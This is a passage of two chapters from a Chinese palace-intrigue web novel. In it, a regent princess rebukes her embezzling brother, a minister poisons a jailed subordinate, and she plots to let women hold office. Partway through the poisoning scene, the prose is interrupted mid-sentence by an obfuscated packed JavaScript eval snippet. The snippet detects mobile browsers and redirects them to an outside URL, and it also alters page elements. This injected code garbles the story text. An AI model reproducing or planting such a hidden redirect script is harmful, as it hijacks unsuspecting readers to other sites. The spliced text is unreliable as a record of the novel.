程显自然看到刘安脸上阴晴不定,问道:“殿下看过,不知以为如何?” 刘安晃了晃手中的奏疏,气势比起方才,都减弱几分:“几分真?” 程显笑道:“殿下,若无确凿证据,臣怎敢前来?” “朝中谁人不知,逍遥王自幼丧母,是长公主殿下一手将他抚养长大,长公主殿下与逍遥王之间的情谊深厚。只是不知若是查账查出这些事,殿下声名是否有损?不知大家议论起来,会不会说殿下徇私偏向?” 82. 安内(七)蝗虫安在 “烦请殿下再细细考量,再细细考量查账一事,再细细考量臣举荐的林英。当然,账目是否要严查,林英是否要任用,还要看殿下的心意。” “臣要说的说完了。若殿下无旁的事,臣先告退。” 说罢,程显弓着腰,抬眼瞄了眼刘安,见她脸上隐隐有发怒之色。心中自是得意。长公主殿下又如何?他经营官场多年。还怕区区一个长公主吗?他先前隐忍退让多时,为的就是今天这一击。 刘安心中有怨,有气,有恨,心中怨怼之气皆是因刘赞而生,可都不能当着程显的面发泄出来,不能让程显这个外人看他们姐弟几人的笑话。 虽说她也想狠狠的打骂一通刘赞,可如今国事当头,还有用得着他的地方,这个弟弟的脾气她打小就知道,得哄着他来,不能生气动怒。如今刘安也只能自己暗自生气罢了。 待程显走后,刘安当即命人找来刘赞,边境互市的事儿还需要与他商议,况且,私自挪用国库一事也还需要再敲打他一番。 莲音见长公主脸上有盛怒之情,心中暗叫一声不好,应声后不敢有丝毫耽搁,一溜烟小跑出去寻刘赞。 “莲音姐姐,大姐姐那边的事儿忙完了吗?”刘赞见刘安身旁的莲音匆匆跑来,心中不胜欢喜。 开通边境互市这事儿是刘赞一心想要做的,他心中早就盘算好了,胡人那边是生长在草原之上的游牧民族,他们靠天吃饭,若是风调雨顺,牧草肥美,马匹强壮,人口随之也会增加,便有一战之力。可若是旱涝频发天灾不断,别说什么马匹,就算是人也未必会养得活。他们为了活下来便会南下。便会骚扰抢劫大江的边境,勇永州就首当其冲。 为此,大江历代皇帝都会强加固北境防线。可大江与胡人边境接壤颇多,防线很长,每年军费便是一个大头。可若是不对防线进行加固,那大江于湖人而言,便是一头随时待宰的肥羊。 胡人靠天吃饭,那相较于大江而言,便没有稳定的粮食产源,他们便缺粮。大江这边,若是要发展军事,军费是一方面必不可少的还有战马。 原本彰州十城还在时,那里地势宽广,倒是块上好的马场,可自从漳州十城割让给胡人之后,大江境内,除了耕地以外,竟再也找不到能媲美彰州养马的土地了。 况且胡人那边有座别别山,盛产一些稀奇古怪的宝石,这些宝石大江境内稀缺,一时间竟成了稀罕物件,受无数权贵们追捧。 如今大江建国多年,权贵们、世家大族们长年累月的钱财都紧紧攥在手里,他们把持着大量的财富却不肯流露出一丝一毫。若是想要撬开他们手里的钱财,除了以强硬手段抄家,恐怕也就只有这些稀奇玩意能从他们手指头缝里捞钱出来了吧。 因此只要边市一开,便会有源源不断的钱财物品从胡人那里涌入大江,也便会有源源不断的钱财从那些个大族手里流出来,到那时,朝廷何须再为这几百万两的银子而发愁呢? 只是边市的事项一拖再拖,好容易如今大姐姐松了口,刘赞自是急不可耐,恨不得即刻便飞到永州去。 莲音脸色担忧:“逍遥王殿下,不知那程显与长公主殿下说了些什么,长公主殿下脸色不大好,这时召殿下前去怕……怕是有怒气呢,殿下多小心些。” “若是长公主殿下说了什么过重的话,还望殿下不要放在心里,还望殿下不要当面与长公主殿下起争执,长公主殿下如今艰难,心里苦得很……” “定是程显那起子小人在大姐姐面前挑唆。”刘赞心中了然,而后点点头,见莲音仍是一副愁容,忙笑道:“莲音姐姐放心,大姐姐自幼将我抚育长大,我视大姐姐如姐如母,心中尊敬万分,哪里敢起什么冲突呢?” “大姐姐骂我,我受着便是,待到姐姐没那么生气了,我再细细将我受的委屈说与她,大姐姐便会知道错怪了我。” 刘赞大步流星,快步踏入主殿,待即将面见刘安之时,收起脸上的喜悦之色,小心谨慎道:“大姐姐召我来,所为何事?” 刘安抬眼看了一眼刘赞,抬手用宽大的衣袖遮住方才程显递过来的那份奏疏,道:“开通互市,沟通贸易,我想着这其中赚钱的门道,谁能有你懂呢。想来想去,这事儿只有你能做,我才可放心。” 刘赞喜道:“大姐姐心里想着我,什么好事都不忘捎带上我,我这个做弟弟的也想为姐姐出一份力,大姐姐就放宽心,我一定会把这事儿做的风生水起,让胡人心甘情愿地把钱吐给咱们。” 刘安微笑着点点头,敲打道:“只有一点,每年缴纳给朝廷的税银,一分也少不了。” 刘赞心虚狡辩道:“我何时会少了朝廷的。” 刘安意味深长地看了眼刘赞,道:“你自己心里最清楚。” “这样吧,为了防止你偷奸耍滑,我给你指派一个人盯着你吧,户部的林英你看怎么样?” 刘赞一听这话,忙上前扶上刘安的肩膀,撒娇道:“大姐姐,我一年的辛苦费才那么点儿,还不够塞牙缝的呢,你少要一些吧,也不必再派什么人来,我是姐姐的手足至亲,姐姐还不放心我吗?” 刘赞心有不悦,林英是程显的门生,这程显这小人,先前不知明里暗里在父皇与太子面前弹劾他多少次,如今大姐姐当政,竟还不肯放过他。 刘安无奈哼笑一声,言语之中满是不可退让:“你要是不乐意,斤斤计较这几分的税银,那我就把这个事儿交给别人去做了,让你只有眼馋心热的份儿。” 刘赞不满地哼了一声:“可以,那我倒要看看,除了我还有谁有这本事?我倒是拭目以待呢。” 刘安摸着手下的奏折,心中的不悦浮在脸上:“赞儿,你日后做的,是为国为民的事儿,不要只想着钱钱钱。” “大姐姐,我能不想着钱吗?如今国库空虚,我知道大姐姐心中忧愁,我何尝不是呢,我也想着多尽一份力为大姐姐分忧。若是我多拿一些,日后大姐姐再遇着这些事儿,就不必这般忧愁了。” “赞儿,这块饼就这么大,无非是你少拿一些,朝廷多拿一些,若是朝廷多拿了,便不会有这如今的许多事。” “大姐姐,朝廷的蝗虫是杀不尽的,才刚大姐姐不还处理了户部的黄崇安吗?若是朝廷丰盈,岂不是富了这些是蝗虫的腰包?” 刘安语气沾了些许怒气,冷嘲热讽道:“哦,是吗?可这也不是你中饱私囊的借口呀!你如今此举与他们有何异?” 刘赞气得呼呼出气,想到方才莲音同他讲的那些话,都是程显在大姐姐面前说三道四,大姐姐受了蒙蔽才会这么说,想到此处,便强压着心头的怒火,不再多说,心里气不过,撇撇嘴,嘴里嘟嘟囔囔说了一句:“得得得,大姐姐,你不必再说了,这吃力不讨好的事儿,你找别人去做吧。” 更是小声赌气道:“就那个林英,姐姐不是看好他吗,就找他去吧。” 刘安见刘赞气鼓鼓地站在一旁,嘴里嘀嘀咕咕也听不清在说什么,便气不打一处来:“我原先还以为,你是个了不得的,你与那些个贪官污吏是有区别的,却不曾想,你才是那个最大的蝗虫!” 刘安越说越气,气得站起身来,气得将那封压在手下的奏疏拾起一把摔在刘赞面前。 “这些年,我是不是太惯着你了?”刘安双手扶住桌子,勉强撑住身体不让自己头目晕眩。 刘赞被吓得后退一步躲开,本想翻开看看程显的这份折子里面写了些什么,但是看见刘安脸上怒火翻涌的样子,并不敢看,也并不敢耍宝打嘴仗,忙迅速蹲下捡起那份奏折,整齐摆放在桌子上,随后后退一大步,揪着衣角,双脚紧紧并在一起,委屈巴巴地低头矗立着一动也不敢动。 “站在那里做什么?还不打开看看,看看人家是怎么抓住你的把柄拿捏你的!” 刘安原本以为自己棋高一着,却没想到一山还有一山高,程显手上早就有了刘赞的把柄,平时不显山不露水,单等如今这时机拿出来。 查账一事是她提及的,原本想着好好挫一挫户部这群人的锐气,没曾想挫到自己头上了,若是严查,迟早会查出来刘赞私自挪用国库一事,到那时别说什么互市了,就连如今抚政监国她也要让出来了。 真是失策,如今可真是搬起石头砸自己的脚,查也不是不查也不是。 刘赞迅速瞄了眼刘安的神情,忙小步子挪动到桌前,又抬眼瞄了眼刘安,鬼祟地拿起奏折翻看,看过之后,他才明白大姐姐为何会这般生气。 不得不说,这程显可真是鸡贼,抓住了他每一笔私自挪用的证据,不单如此,还做假账为他遮掩,还瞒到至今瞒得滴水不漏。朝堂上的事他有所耳闻,若是大姐姐下令严查,查到最后查到他头上,只怕大姐姐要颜面尽失。 “大姐姐……”刘赞越看越心虚,越看越后怕,他倒不怕自己,只是担忧大姐姐的声名。 越看下去,心中对程显的怨恨更添上几分,程显这个老匹夫,国库出了窟窿,竟想全栽赃在他头上!“账目上的问题,也不全在我……即便是我不拿,也全会被那些人拿去的……与其这样,倒不如我拿了去,日后可尽数用在百姓们头上……大姐姐,我……” “你觉得你从那些人身上拿取的每一分每一毫,都是从他们自己吃进去而后又吐出来的吗?不是的,能到你手上的都是民脂民膏,哪怕是你从他们手中榨取的一分一毫,也都是他们变本加厉地从百姓们头上搜刮。” “是,或许你今日能获利五分,日后这五分的利能全用在百姓们头上,但他们日后从百姓们头上搜刮来的就会有八分之多。” “你呀!”刘安无奈摇头叹息一声,她心里也知道,近千万两的亏空,绝不是刘赞一人所为,“我气的是你做事顾前不顾后,我气的是你做事只考虑自己得失而非天下的百姓的得失。” “你为财,他们又何尝不是呢?真论起来,谁又能比谁高贵到哪儿去?谁又能比谁清白到哪儿去?无非是你说话做事太过直白,不如他们会遮掩。” “这事你心里知道就是,往后做事要小心,损民利己的事儿要少做,父皇将江山社稷还有你们几个都托付给我,我自当尽心竭力看顾好江山社稷,照顾好你们几个。” 刘安宁了宁心神:“快去吧,收拾收拾便即刻启程去永州,待到了永州,你与七弟两人互相也好有个照应。” “遵命。” “还有一事,林英,此人是程显的门生,不知他是出于何种目的,或许是良心发现抑或是其他,在我与程显之间的矛盾日益加剧之下,今日他敢背叛程显向我卖好,明日便可为了其他目的敢背叛我向其他人卖好。此人不忠,断不可重用,可也算是有些本事,慎用此人。” “好,听姐姐的。”刘赞应下,转身便要走,才走出几步,忽又想到京中还有些事情要叮嘱,忙折返回来:“大姐姐,我想着如今国库空虚,我那私宅里面的钱财,自然有一部分要归缴国库填补亏空,以缓解姐姐之忧思,余下一部分,我要带去永州,边市前期的搭建也需要些钱财。” “我此去永州,京中才刚搭建好的情报网一是没个可信之人掌管,二是没有足够的银钱支撑,只怕要歇着了。情报断了便犹如断了耳目一般,我只担心……只留大姐姐一人在京中……” “怕什么,好歹我手上还有监国理政的权力,我手下那金中堂如今又统领着宫中的禁卫,即便是京中的护城军,也都听命于我,又是独一份的抚政大长公主,谁还能为难得了我啊!且安心去吧。” “好,大姐姐多保重。”刘赞告别刘安之后,同身边的近侍道,“快,去将我前去永州的消息告诉傅姑娘,问问她可愿与我同行,快些去,可别耽搁了。” 刘赞风风火火出了宣政门时,恰巧碰到了才从福宁殿出来的程显。 程显轻笑一声,拱手施礼道:“逍遥王安,不知长公主殿下找逍遥王殿下何事?我方才出来的时候,长公主殿下可是发了好大一通火气呢。” 刘赞冷哼一声,是一眼也不愿多看程显一眼,一句话也不愿多说,只留了一句:“惺惺作态。” 程显浸淫官场多年,刘赞不过是个十八九岁尚未及冠的小孩子,他又怎会将这一句小孩子的话放在心上。 程显望着刘赞生气离开的背影,嗤笑一声,而后便前去狱中探望黄崇安。 刑部司狱听说户部尚书程显来了,忙笑着迎上去:“程大人怎么亲自来了?” 程显微微颔首:“听说黄崇安关在这里。” 刑部司狱回道:“是,就在下面呢,下官这就带大人前去。” “大人,就在前面。”司狱将程显带到后,抬手为程显指引,知趣地止住脚步。 “有劳。”程显客气一声,径直朝着黄崇安走过去。 黄崇安见是程显来了,激动地从地上爬起来,扶着监狱的栏杆,哀声求道:“师傅救我!救我!” 程显谨慎地回头看了眼司狱,见司狱懂事地回避,这才凑近黄崇安低声道:“你且安心待着,我会照顾好你一家的妻儿老小。只是务必咬死此事是你一人所为,不要攀咬出其他的,否则神仙也难救你。” 黄崇安如小鸡啄米一般点头应下,有程显这句话,他就安心多了。 “想来这狱中的伙食不好,你受苦了。待会我命人为你送上些饭菜,眼下能为你做的就只有这么多了。”程显扫了一圈周围的环境,又轻轻拍了拍栏杆,随即叹了口气,语气中满是无奈之色:“这几日你多受些苦,待朝局稳定,我再救你出来。” “多谢师傅挂心。” 程显微微点头,冷不丁发现黄崇安对面那监牢暗处角落里靠着个人,不免多看了一眼,而后转身离开。 程显走出刑部监狱,与身旁的刑部司狱道:“这几日崇安还需要你们多照顾,劳你们费心了。” 刑部司狱忙道:“大人这是哪里的话,应该的应该的。” 程显想起在黄崇安对面的那人,随口问道:“如今刑部还积压了什么案子吗?” 司狱道:“并没有,大人何故如此问?” 程显轻笑一声:“我看崇安对面还有一人在狱中。” 司狱笑道:“是她啊,那是……”说着,司狱环顾四周,谨慎地凑到程显耳边,压低声音道:“她是傅容光,就是先前男扮女装假扮朝廷命官的那个傅容光。” 程显思索片刻,皱眉道:“这也不是什么为难的案子,假扮朝廷命官,依律该如何处置,自有定数。怎么拖到了现在还没了结?” 司狱讪笑道:“自然是有律可依,只是……这人似乎与逍遥王有些关系,我们大人便先将人留下来了。” “你们大人这么做想来有他的用处,那便留着她吧。”程显抖了抖身上的官服,毫不在意道。那傅容光与刘赞有些关系,或许日后会有大用途。 程显从刑部监狱出来后,在街上随意买了份吃食,当即命人送至狱中,还特意叮嘱了一定要亲眼看着黄崇安吃下。 手下人会意,便如同送给太子那样。 黄崇安见着程显派人送来的吃食,自是感激不尽,狼吞虎咽地吃着。 饭菜的香味飘到了对面傅容光那里,傅容光挣扎着睁开眼皮,如痴如醉地吸食着空气中的香味。 她已经被关在这里许多日了,已经很久没吃过一顿饱饭了,哪怕是报上六皇子刘赞的名号也不管用,眼下真是叫天天不应叫地地不灵。 傅容光知道自己男扮女装冒充朝廷命官是死罪,可即便是死罪那倒是快点来啊,总好过如今活罪难逃啊。 看着对面的黄崇安打了两个饱嗝后,又饮下两杯美酒,傅容光就羡慕地吞咽着口水。 听说对面这人是户部侍郎刚他的顶头上司还来狱中打点了。想到这儿,傅容光不免又轻叹一声,先前刘赞还说若是自己遇险,报上他的名号即可,不成想六皇子的名号竟还不如一个户部尚书的管用。 碗筷盘碟撤下没多久,黄崇安便捂着肚子哀嚎起来,一声高过一声,没一会,便倒在地上没了声息。 傅容光被吓了一跳,挣扎着起身,上前几步细细看着,只见黄崇安脸上铁青,唇色乌紫,鼻孔里还在缓缓渗出鲜血。 这显然是中毒之症! 与当初孝懿太子尸身上的表象一样。 当初傅容光受刘赞之托为太子验尸,曾在关押太子的监狱地上发现有大量洒落的饭菜,就连太子口中,也发现有遗留的饭粒,太子身上也是这般七窍流血的中毒之样。 可当初陷害太子的人不是早就处死了吗?怎么如今还…… 黄崇安所食饭菜是程显送来的,毒性之强,服下不就便会暴毙,与太子当时的症状一致,莫不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274279|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……莫不是逼迫太子食下有毒饭菜是程显授意? 傅容光吃惊地连连后退,双腿瘫软倒在地上,万万没想到会是这样的真相。她要活着,她要将这个消息告诉刘赞! 傅容光又后退缩回角落,只留双眼睛观察着对面的情况。 狱卒听到里面的喊叫声,忙跑过来查看,不成想竟看到黄崇安死在了狱中,七窍流血,脸色铁青,唇色发紫,这不是明显的中毒而亡吗! 方才就程显派人过来送了些饭菜,人才走没多久便这样了,怕不是饭菜中有毒。 若是让上头知道羁押的要犯在刑部的监牢里中毒死了,只怕谁也脱不了干系,看来得将这事瞒下了。 司狱正想着对策,忽而瞥过一只匆匆溜走的老鼠,一脚踩在老鼠尾巴上,而后提溜起吱哇乱叫的老鼠,一把丢在了黄崇安的尸体上。 狱卒们会意,忙高声喊着:“黄侍郎被老鼠咬了,感染鼠疫暴毙了!” 没一会儿,黄崇安的尸体就被拖走了。 黄崇安狱中暴毙的消息传到宫里,传到了刘安耳中。 “老鼠?刑部的监狱里还有老鼠?黄崇安确是死了?” 钱衡量点点头,他也觉得纳闷:“殿下也觉得蹊跷?” 刘安揉按着太阳穴,闭目养神道:“即便是被咬了,也得活一会儿呢,他从入狱到没了生息,不过才一日,确实蹊跷。” “不过此事也管不了那么多了,便按着刑部报上来的去处理吧。财政一事也该做个了结了。”刘安深知,财政不能再查下去了,黄崇安既然死了那也就罢了,将国库空虚这口锅结结实实地背下。 只是黄崇安一死,林英又去了永州边塞,户部便空了人,按照以往的惯例,该是将户部侍郎之下的官职升上来顶着,或是调任其他部的侍郎。 递上来的人员看了又看,不是与程显有关便是与王落儒有着千丝万缕的联系,刘安自然是不愿再任用一颗绊脚石。 为着户部侍郎的位置该由何人担任,刘安又不免伤神。 朝中诸臣如今分成了两派,刘安自然是想扶持自己的势力,眼下正是个好契机,从王落儒和程显身边叛逃而来的人她不敢用,如今唯有重新选用贤良方可为己所用。 钱衡量看出刘安的难处,出言道:“殿下,虽说如今有了科举,可到底力度还是不够,如今科举选上来的,大多都是些士绅阶层,还有大把的寒门子弟没有门路。” 刘安不解:“怎么会呢?科举一制,如今已是相当成熟,朝中也有大把官员出身寒门。” 钱衡量这些年在民间闯荡,这些年的所见所想自然要比刘安多,便道:“殿下或许还不知道,户部尚书程显程大人,在家乡彰州开设了一个书院,经由他手提拔举荐的官员,皆在他的书院就读过,如果未曾去过程大人的书院,便会调离京城,从此仕途不畅。” “竟有此事?”书院的事刘安倒是有些耳闻,不过只是些传言,并不能证明什么。” “何止,先前朝中官员的出身,无外乎两种,一种是靠着家族,靠着弯弯绕绕的关系举荐入朝的,譬如王太傅、晋国公、齐国公等人,另一种,则是靠着自己的真才实学一步一步走上来的,譬如程显、黄崇安等人。” “只是,先前世家强盛,若背后无势力可傍身,在朝中便是寸步难行。为此,那些科举上来的学子们便拉帮结派,两相抗衡。如今世家相继倒台失势,便造就了如今这副一家独大的局面。” “可这些人,虽说是寒门,又不是毫无根基毫无家底,更何况这么多年发展下来,与那些个世家门阀,也没什么两样了。” “殿下不觉得,如今又步入了先前世家把持朝政的后尘吗?” 刘安细细思索着,想先听听钱衡量的看法:“依你看,眼下情形,该如何是好?” 钱衡量道:“应大肆推行科举,选用贤良,不论出身如何,凡有才学者,皆可参加科举,凡中举者,不看家世背景,皆可入朝为官。” 刘安抓住关键字眼,喃喃一声:“不论出身?也就是说,无论是否是良籍还是贱籍抑或是奴籍,皆可参加科举?” 钱衡量眼前一亮:“正是。先前有不少的冤假错案,有不少学子蒙冤受难,他们本无错,可为着一些子虚乌有的罪名,不能入朝为官,不能报销朝廷,于他们于朝廷,都可谓是一大损失。” 刘安瞥了钱衡量一眼,她知道钱衡量一直在意他祖父钱易知的那桩案子,一直想着翻案,可无缘无故重审旧案,恐惹非议,再者,若是今时为他翻了案,日后其他涉案的学子入朝为官,岂不是都会想着为祖上翻案不成? 如此一来,置法度于何物? 刘安不甚理会:“再看吧,如今本宫力排众议才推行了边市的政策不过月余,若是连着再改换科举的政策,只怕不妥,恐惹朝堂动荡。” “殿下如今不是正为着户部侍郎一职空缺而忧愁吗?” 刘安道:“眼下改革不合时宜。既然这么着,那便就他吧。”说着,刘安从一众举荐的折子中随手抽出一人——是兵部尚书崔至所举荐的,唤作王焕。 钱衡量看过后,脸色一变,忙跪下道:“殿下,万万不可,王焕,是崔至的侄子,王落儒的外孙。若是选任他,岂不是又助长了世家的势力?” 刘安无奈道:“可眼下也没什么可用之人,这也是没办法。” 程显与王落儒如今不对付,将王落儒的外孙塞到程显手下做事,让他们互相膈应,岂不美哉? 况且只有让他们两派去争,才有机会扶持自己的势力。 钱衡量这话倒是点醒了她,全国上下,多的是有才能而无处施展之人,其中除了男子,还有女子,女子亦可用。 天底下,多的是有才能的女子,多的是郁郁不得志的女子,若是允许天下女子可入朝为官,无论她们出身如何,也不必担心她们是否会依附旁人,她们必定会牢牢抓住这个机会效忠于她这个长公主。毕竟,是刘安给了天下女子出将入仕的机会。 “倒还有一个法子,让女子入朝为官。就拿温国公家的独女温嘉诚来说吧,她家世代领兵打仗驻守边关,耳濡目染之下,颇有将领之才——” 刘安话还没说完,便被钱衡量打断:“殿下,这更是万万不可。” 钱衡量劝说道:“殿下,天下苦世家久矣,万不可再启用这些人,无论男女。难道殿下昔日未曾经历过世家门阀当道吗?” 刘安解释道:“钱卿,你误解本宫的意思了。本宫要的是她们去分权。听说温国公家近日在闹该由何人承嗣,因温国公只有一个女儿,温氏一族都在争着要将儿子过继给温国公。” “若是此时女子可入朝为官,那女子便可同男儿一样,亦可继承家业承袭爵位。如此一来,不用本宫费劲心思去削弱那些个世家门阀,单凭他们内部,便可杀个腥风血雨。” “无论是他们如何去争如何去闹,本宫都可坐享渔翁之乐。” 女子入前朝为官,历来少见,若是她们可为自己所用,便也就罢了,若是不能为自己所用,便有的是由头罢免她们。 这个角度钱衡量倒是未曾设想过,不过细细想来,他倒也认同刘安所说的。如今长公主此举,既为她自己扫清了掌权的障碍,亦可为来日二殿下登基扫清障碍。 二殿下登基之时,单凭史无先例这一条,便可轻松除掉她们,也不会有人从中作梗阻挠,甚好。 想至此处,钱衡量附和道:“殿下慧心,此举甚妙。不知殿下想何时开始实施?” ”这倒不急,待永州边市有了成效再说吧。“ “钱卿,你去将王焕升任户部侍郎的消息告诉陛下吧。”刘安笑笑,看向钱衡量,见他面上浮过些忧愁,安抚道:“钱卿,你博学多识,本该有大展宏图的机会,在我身边做个内官真是委屈你了。” 钱衡量当即跪下表忠心道:“是殿下给了奴才这个能侍奉左右的机会,是殿下给了奴才这个能出谋划策的机会,怎么能算委屈呢?奴才感激不尽!” 刘安含笑看着跪在地上的钱衡量,眼中尽是得意,不过还有些惋惜,如此忠心之人,却不能在朝堂之上为她所用,真是可惜。 刘安抬手挥道:“去吧。” 钱衡量应声,双手恭敬接过奏折,前去福宁殿转达此事。 83. 安内(八)女子为官 “陛下,奴才奉长公主殿下之命,前来送达户部侍郎选人名单。”钱衡量恭敬呈上。 太傅王落儒放下手中的戒尺,警惕地看向钱衡量,这人也不知从哪儿冒出来的,原先在宫里也没,也是近来才在长公主刘安身边侍奉的,平白无故出现这么个人,还这么快就王落儒不免多看几眼。 康佑帝刘绥放下手中正背诵的书籍,一副人畜无害的样子,眯着眼睛笑道:“大姐姐决定便好,无需问我。” 钱衡量恭敬道:“陛下乃一国之君,长公主殿下如今也只不过是从旁辅佐,官员任免一事还是应当由陛下决定才是。” 刘绥甚是满意钱衡量的回答,接过折子看过之后,抬眼瞟了眼不远处的王落儒,心中疑惑,这王焕不是王落儒的孙子吗,大姐姐怎么会肯让他担任户部侍郎一职呢?怎么不想着安插自己的人手呢? 先前刘绥只是一个不受宠的八皇子,自然得低调行事,可如今他已是皇帝,却还处处被管,这个皇帝当得真是窝囊,他巴不得刘安能为他扫清朝堂上障碍呢。 不过很快转念一想,刘绥便明白了刘安的用意,如今户部乃至朝堂上的大部分人都听从程显发号施令,而王焕是王落儒的孙子,王落儒现又与程显针锋相对,这会儿把王焕塞到户部……刘绥手肘撑在桌上,手掩饰着忍不住上扬的嘴角,坐山观虎斗,别有一番趣味。 刘绥合上手上的奏折,唯唯诺诺笑道:“既然大姐姐决定了,那便按照大姐姐的意思来吧。” 转头又看向王落儒,眼珠转了一圈,脸上一副细细思索过的神情:“王焕离京任职也有数年了吧,也是时候该回京。他先前就曾在户部任职,对户部也熟悉如今这户部侍郎的位置便由他来担任吧。” 王落儒激动跪下谢恩。 刘绥摆手让两人都退下。 王落儒站起身,又叮嘱道:“殿下,今日的功课可要记得,明日臣再来查验。” 刘绥无奈扶额叹息一声。 钱衡量将这一切看在眼里,心中已然有了主意。 待退出福宁殿,钱衡量想着同王落儒拉近些关系,恭敬道了声:“太傅大人——” 王落儒一摊手便打断钱衡量的话,鄙夷地看了一眼,甚是嫌弃地在他们之间甩了甩袖子离开了。 钱衡量进宫以来,为着他是抚政长公主刘安身边的内官,多少人都对他礼敬有加,何时受过这种轻视。 钱衡量理了理衣服,盯着王落儒的背影,冷冷哼了一声,以后谁高谁低还不一定呢。 王落儒出了宣政门,正好碰到出宫的刘安,快走几步,在刘安轿旁恭敬施礼笑着:“长公主殿下安。” 刘安掀起一旁的轿帘,笑道:“太傅红光满面,想来是有喜事。” 王落儒笑道:“多谢长公主殿下体恤提拔,臣感激不尽。” 刘安道:“太傅无需多言。王焕这些年的功绩,本宫看在眼里。他已在外面历练多日,也是时候该调回京中任职了。况且太傅年事已高,也召他回京了。” “润蕾近日如何?” 刘安记得,王太傅的孙女王润蕾,也颇有些才华,若是让召她入朝,朝堂之上只怕要热闹非凡呢。 王落儒叹了口气:“有劳殿下挂心,近来正在为她的婚事发愁呢。” 他这个孙女已二十三四了,也老大不小了,先前一直倾心于太子,至今尚未婚配,他怎能不愁呢? “良缘天定,润蕾才貌俱佳,太傅大人不必如此忧心。” “唉,润蕾也是找老大不小了,可至今尚未成婚,老臣怎能不忧心呢?”王落儒话刚说完,猛然想起面前这位长公主也是尚未成婚,这才意识到自己说错话,不由得连忙打住,嗫嚅道:“是臣失言了。” 刘安白了他一眼,转瞬便恢复了笑容,作出一副毫不在意的样子:“太傅大人莫要闲聊了,快些家去吧,王焕离京多日,如今你们府上也算是团圆了,也该阖府上下好好乐一乐了。” 王落儒拜别刘安,前行数步,忽然想到方才在福宁殿上钱衡量的表现,又折返回来,摆出长者的姿态教导道:“殿下臣还有一言,殿下身边的这个钱衡量,是个趋炎附势而又极其谄媚的小人,殿下留有此人在身边,实在不妥。” 刘安皮笑肉不笑道:“太傅大人今日所言,本宫会细细考量的。” 待王落儒转身离开,轿帘放下后,刘安的脸色顿时阴了下来,好你个老匹夫,平日里管教皇帝也就罢了,今时今日竟然要伸手管教她身边的人,真以为她刘安好欺负吗? 莲音察觉到刘安情绪的变化,试探着叫了声:“殿下,我们还要去太傅府上吗?” 刘安深吸一口气,“改日再去吧,今日先去温国公府上见过嘉诚再说。” 刘安打定主意要推行女官之政,需得一一游说可用之人,否则政策一出,响应者寥寥,岂非落人笑料?刘安断不会让这样的事情发生。如今所做便都在为推行女官之策铺路, 不过,在推行女官一策之前,边境市场需得有所成效。 刘安眉头微蹙:“永州可传来消息?” 莲音摇摇头:“尚未。奴婢再催催。” “嗯,单靠逍遥王那点私产,何时才能填补上国库的窟窿?还需得拿出实实在在的政绩来,否则天底下谁人会信服?” “是。” 一行人在宫门口处换了马车,朝着温国公府去了。 莲房一边轻轻为刘安捶着腿,一边将她近些天出宫听到的传闻说出来:“殿下,听说温国公府如今闹得厉害呢,温国公的几个兄弟子侄,整日里去公府里闹腾,硬是要温国公过继子嗣呢。” 莲音问道:“他们竟这般着急?” “谁说不是呢,温国公尚且健在,再说了,温国公只有一个女儿,从宗族之中过继子嗣那是必然的,也不知道他们闹这么一通是要做什么。”莲房叹了口气,手上不觉加重了力气。 刘安嘶了一声,收回腿,道:“若是他们看得清楚,便不会这么闹得京中人人都在看温国公府的笑话了。” 刘安看向同行的莲音与莲房二人:“不过,只有一个女儿又如何?难道女儿便不能肩负起家业了吗?” 二人一愣,对视一眼后,莲房犹豫道:“可……自古以来鲜少有这样的事例。” 刘安笑道:“若是以后有这样的机会,有入朝为官、报效朝廷、继承家业的机会,你们可愿意?” 莲音道:“那自然是愿意的。” 莲音自幼丧父,因天灾不断,族里人看上她们家的那点子家业,将她们母女二人逐出宗族。她当时便在想,若她是男子,宗族里的人便不会这么对她们母女二人,她亦可光耀门楣。 刘安笑着点点头。 还未曾至温国公府时,就听到一阵叫嚷嘈杂声。 莲音掀起一角车帘看过一眼后,回过头来对刘安道:“殿下,是温国公府门前正在闹呢,围了一圈的人在看热闹呢。” 刘安道:“不着急,让他们再闹一会吧。若是我们这会出去了,岂不是要辨是非?” “那才真是给自己惹了个大麻烦呢。” 几人耐心听了一会儿,无非就是在说温国公只有一个女儿,还是个与故去的孝懿太子和离的女儿,无人承袭爵位,温氏一族荣华不在。 听得刘安忍不住嗤了一声。 听着温国公府外的声音渐渐减弱,围观的人群也渐渐散去,刘安方才下车。 温国公听得抚政大长公主刘安来了,甚是疑惑,忙上前迎接,就连被族人们气得头疼的温国公夫人也忙起身迎去。 温国公夫人因被族人们吵的头疼,神情有些虚弱:“长公主殿下大驾光临,妾身有失远迎,还望长公主见谅。” 温国公问道:“不知殿下此次前来,可是有什么要紧的事?” 刘安笑道:“我也是走到这里,想着许久不见嘉诚,便想着过来看看。” 说着,刘安亲切地拉起温国公夫人的手:“国公夫人头疼,便去歇着吧,我来此原不是什么大事,只是同想同说些女儿家的体己话。” 温国公夫人回头看了温国公一眼,她同温国公一样,眼中甚是疑惑,转瞬又脸上堆笑道:“喏。那妾身这便唤嘉诚过来。” 刘安坐在上位,不紧不慢地呷一口茶,随后抬手屏退二人。 温国公夫人同温国公退下,一边走一边问道:“也不知长公主来做什么,我看着不像是明面上那样只是聊些闺阁之话。” “你说该不会是要拉拢我们温国公府吧?”温国公夫人说完,停下下脚步,谨慎地左右看过。 眼下廊中只他们夫妻二人,温国公夫人凑近温国公,低声道:“先前太后娘娘宴请,席上醉酒,对长公主殿下诸多不满,我听那些个臣子们的夫人说,长公主如今独揽朝政,在朝堂之上说一不二,就连户部侍郎都被她……。”说到此处,温国公夫人的声音更低了:“被她毒杀在狱中了。” 温国公瞪大了眼睛,同样谨慎地环顾四周:“不是说黄崇安是感染了鼠疫吗?” 温国公夫人摆手叹了声,继续边走边道:“我也是在席上听她们浑说的,谁知道有几分真几分假?要我说,说不定还是程显下得毒手呢。” 温国公问道:“何出此言?” “我听刑部员外郎的夫人说的,她说黄崇安死之前,程显派人给他送过饭呢,送饭的人还没出刑部监牢呢,黄崇安便没了。” 